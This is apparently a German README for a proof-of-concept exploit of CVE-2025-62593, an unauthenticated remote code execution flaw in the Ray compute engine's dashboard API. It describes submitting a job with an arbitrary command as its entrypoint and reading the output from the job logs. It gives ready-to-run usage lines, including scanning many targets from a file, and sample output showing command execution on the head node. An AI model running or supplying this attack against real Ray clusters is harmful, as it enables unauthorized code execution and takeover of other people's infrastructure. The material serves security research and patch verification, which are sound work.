
PoC für CVE-2025-62593: nicht authentifizierte RCE in Ray (CISA KEV). Nur mit der Python-Standardbibliothek.
Proof-of-Concept für CVE-2025-62593, eine nicht authentifizierte Remote-Codeausführung Schwachstelle in der Ray Distributed-AI-Compute-Engine, die über browserbasierte DNS-Rebinding-Angriffe ausgenutzt wird. Sie wurde in den CISA Known Exploited Vulnerabilities (KEV) Catalog aufgenommen und wird aktiv ausgenutzt.
Die Ursache ist eine langjährige Designentscheidung des Ray-Teams, keine Authentifizierung für kritische HTTP-Endpunkte wie /api/jobs und /api/job_agent/jobs zu verwenden. Dadurch kann ein nicht authentifizierter Remote-Angreifer einen Ray-Job einreichen, dessen Entrypoint ein beliebiger Befehl ist, der dann auf dem Cluster-Head-Knoten ausgeführt wird — vollständige Remote-Codeausführung.
Dieser PoC spricht die Ray-Dashboard-HTTP-API direkt an (kein Browser/DNS-Rebinding nötig, um den zugrunde liegenden Fehler zu demonstrieren) und ruft die Befehlsausgabe aus den Job-Logs ab.
POST /api/jobs/ mit einem entrypoint, der Ihren Befehl ausführt und dessen
stdout/stderr in eine temporäre Datei umleitet und die Datei dann ausgibt.GET /api/jobs/, bis der Job einen Endstatus erreicht.GET /api/jobs/<submission_id>/logs und gibt die Befehlsausgabe aus.# Einzelnes Ziel
python3 ray_rce_poc.py --target http://HOST:8265
# Benutzerdefinierter Befehl
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Mehrere Ziele aus einer Datei (eine pro Zeile, '#' = Kommentar)
python3 ray_rce_poc.py --targets targets.txt --command id
# JSON-Zusammenfassung schreiben
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Hilfe
python3 ray_rce_poc.py --help
Benötigt nur Python-3-Standardbibliothek — keine Drittanbieter-Abhängigkeiten.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Nur für Sicherheitsforschung und autorisierte Tests. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.